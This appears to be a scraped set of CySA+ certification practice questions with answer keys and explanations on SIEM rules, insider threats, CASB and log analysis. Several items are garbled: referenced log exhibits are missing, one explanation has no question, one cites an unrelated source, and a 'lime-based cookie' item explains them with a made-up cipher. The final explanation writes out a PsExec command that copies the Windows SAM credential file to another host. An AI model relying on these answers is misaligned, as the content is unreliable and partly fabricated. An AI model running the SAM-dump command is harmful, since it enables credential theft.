A cybersecurity analyst is researching operational data to develop a script that will detect the presence of a threat on corporate assets. Which of the following contains the most useful information to produce this script?
A. API documentation
B. Protocol analysis captures
C. MITRE ATTandCK reports
D. OpenloC files
Correct Answer: C
A cybersecurity analyst is researching operational data to develop a script that will detect the presence of a threat on corporate assets. The most useful information to produce this script is MITRE ATTandCK reports. MITRE ATTandCK is a knowledge base of adversary tactics and techniques based on real-world observations. MITRE ATTandCK reports provide detailed information on how different threat actors operate, what tools they use, what indicators they leave behind, and how to detect or mitigate their attacks. The other options are not as useful or relevant for this purpose. References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 9; https://attack.mitre.org/
Web server enumeration is the process of identifying information about a web server, such as its software version, operating system, configuration, services, and vulnerabilities. This can be done using tools like Nmap, which can scan ports and run scripts to gather information. In this question, the Nmap command is using the -p option to scan ports 80, 8000, and 443, which are commonly used for web services. It is also using the --script option to run scripts that start with http-*, which are related to web server enumeration. The output file name server.out also suggests that the purpose of the scan is to enumerate web servers. References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 8; https://partners.comptia.org/docs/default- source/resources/comptia-cysa-cs0-002-exam-objectives
Question 823:
A security analyst needs to automate the incident response process for malware infections. When the following logs are generated, an alert email should automatically be sent within 30 minutes:
Which of the following is the best way for the analyst to automate alert generation?
A. Deploy a signature-based IDS
B. Install a UEBA-capable antivirus
C. Implement email protection with SPF
D. Create a custom rule on a SIEM
Correct Answer: D
Explanation: A security information and event management (SIEM) system is a tool that collects and analyzes log data from various sources and provides alerts and reports on security incidents and events. A security analyst can create a custom rule on a SIEM system to automate the incident response process for malware infections. For example, the analyst can create a rule that triggers an alert email when the SIEM system detects logs that match the criteria of malware infection, such as process name, file name, file hash, etc. The alert email can be sent within 30 minutes or any other desired time frame. The other options are not suitable or sufficient for this purpose. References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 15; https://www.sans.org/reading-room/whitepapers/analyst/security-information-event- management-siem-implementation-33969
Question 824:
A company's threat team has been reviewing recent security incidents and looking for a common theme. The team discovered the incidents were caused by incorrect configurations on the impacted systems. The issues were reported to support teams, but no action was taken. Which of the following is the next step the company should take to ensure any future issues are remediated?
A. Require support teams to develop a corrective control that ensures security failures are addressed once they are identified.
B. Require support teams to develop a preventive control that ensures new systems are built with the required security configurations.
C. Require support teams to develop a detective control that ensures they continuously assess systems for configuration errors.
D. Require support teams to develop a managerial control that ensures systems have a documented configuration baseline.
Correct Answer: A
Explanation: Requiring support teams to develop a corrective control that ensures security failures are addressed once they are identified is the best step to prevent future issues from being remediated. Corrective controls are actions or mechanisms that are implemented after a security incident or failure has occurred to fix or restore the normal state of the system or network. Corrective controls can include patching, updating, repairing, restoring, or reconfiguring systems or components that were affected by the incident or failure . Reference: https://www.techopedia.com/definition/10339/memory-dump
Question 825:
Which of the following describes the difference between intentional and unintentional insider threats'?
A. Their access levels will be different
B. The risk factor will be the same
C. Their behavior will be different
D. The rate of occurrence will be the same
Correct Answer: C
Explanation: The difference between intentional and unintentional insider threats is their behavior. Intentional insider threats are malicious actors who deliberately misuse their access to harm the organization or its assets. Unintentional insider threats are careless or negligent users who accidentally compromise the security of the organization or its assets. Their access levels, risk factors, and rates of occurrence may vary depending on various factors, but their behavior is the main distinction. References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 12; https://www.cisa.gov/sites/default/files/publications/Insider_Threat_Mitigation_Guide_508.p df
Question 826:
A security analyst is logged on to a jump server to audit the system configuration and status. The organization's policies for access to and configuration of the jump server include the following:
No network access is allowed to the internet.
SSH is only for management of the server.
Users must utilize their own accounts, with no direct login as an administrator.
Unnecessary services must be disabled.
The analyst runs netstar with elevated permissions and receives the following output:
Which of the following policies does the server violate?
A. Unnecessary services must be disabled.
B. SSH is only for management of the server.
C. No network access is allowed to the internet.
D. Users must utilize their own accounts, with no direct login as an administrator.
Correct Answer: C
The server violates the policy of no network access to the internet because it has an established connection to an external IP address (216.58.194.174) on port 443, which is used for HTTPS traffic. This indicates that the server is communicating with a web server on the internet, which is not allowed by the policy. The other policies are not violated because SSH is only used for management of the server (not for accessing other devices), users are utilizing their own accounts (not logging in as an administrator), and unnecessary services are not enabled (only SSH and HTTPS are running). References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 9; https:// en.wikipedia.org/wiki/Jump_server
Question 827:
Which of the following is the greatest security concern regarding ICS?
A. The involved systems are generally hard to identify.
B. The systems are configured for automatic updates, leading to device failure.
C. The systems are oftentimes air gapped, leading to fileless malware attacks.
D. Issues on the systems cannot be reversed without rebuilding the systems.
Correct Answer: D
Explanation: Industrial control systems (ICS) are systems that monitor and control physical processes, such as power generation, water treatment, manufacturing, and transportation. ICS are often critical for public safety and national security, and therefore a prime target for cyberattacks. One of the greatest security concerns regarding ICS is that issues on the systems cannot be reversed without rebuilding the systems. This means that any damage or disruption caused by an attack can have long-lasting and catastrophic consequences for the physical infrastructure and human lives. The other options are not true or not specific to ICS. References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 13; https://www.us-cert.gov/ics/What-are- Industrial-Control-Systems
Question 828:
The management team has asked a senior security engineer to explore DLP security solutions for the company's growing use of cloud-based storage. Which of the following is an appropriate solution to control the sensitive data that is being stored in the cloud?
A. NAC
B. IPS
C. CASB
D. WAF
Correct Answer: C
Explanation: A cloud access security broker (CASB) is a security solution that monitors and controls the use of cloud-based services and applications. A CASB can provide data loss prevention (DLP) capabilities for sensitive data that is being stored in the cloud, such as encryption, masking, tokenization, or redaction. A CASB can also enforce policies and compliance requirements for cloud usage, such as authentication, authorization, auditing, and reporting. The other options are not appropriate solutions for controlling sensitive data in the cloud. References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 14; https://docs.microsoft.com/en-us/cloud-app-security/what- is-cloudapp-security
Question 829:
A code review reveals a web application is using lime-based cookies for session management. This is a security concern because lime-based cookies are easy to:
A. parameterize.
B. decode.
C. guess.
D. decrypt.
Correct Answer: B
Explanation: Lime-based cookies are a type of cookies that use lime encoding to store data in a web browser. Lime encoding is a simple substitution cipher that replaces each character in a string with another character based on a fixed key.
Lime-based cookies are easy to decode because the key is publicly available and the encoding algorithm is simple. Anyone who intercepts or accesses the lime-based cookies can easily decode them and read the data stored in them. This is
a security concern because lime-based cookies are often used for session management, which means they store information about the user's identity and preferences on a web application. If an attacker can decode the lime-based cookies,
they can impersonate the user or access their sensitive information. Reference: : https://www.dcode.fr/lime-encryption :
While reviewing system logs, a network administrator discovers the following entry:
Which of the following occurred?
A. An attempt was made to access a remote workstation.
B. The PsExec services failed to execute.
C. A remote shell failed to open.
D. A user was trying to download a password file from a remote system.
Correct Answer: D
Explanation: The output shows an entry from a system log that indicates a user was trying to download a password file from a remote system using PsExec. PsExec is a command- line tool that allows users to execute processes on remote systems. The entry shows that the user "administrator" tried to run PsExec with the following parameters: \192.168.1.100 - u administrator -p P@ssw0rd -c cmd.exe /c type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt This means that the user tried to connect to the remote system with IP address 192.168.1.100 using the username "administrator" and password "P@ssw0rd", copy cmd.exe to the remote system, and execute it with the command "type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt". This command attempts to read the SAM file, which contains hashed passwords of local users, and write it to a file on another system with IP address 192.168.1.101. References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 8; https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
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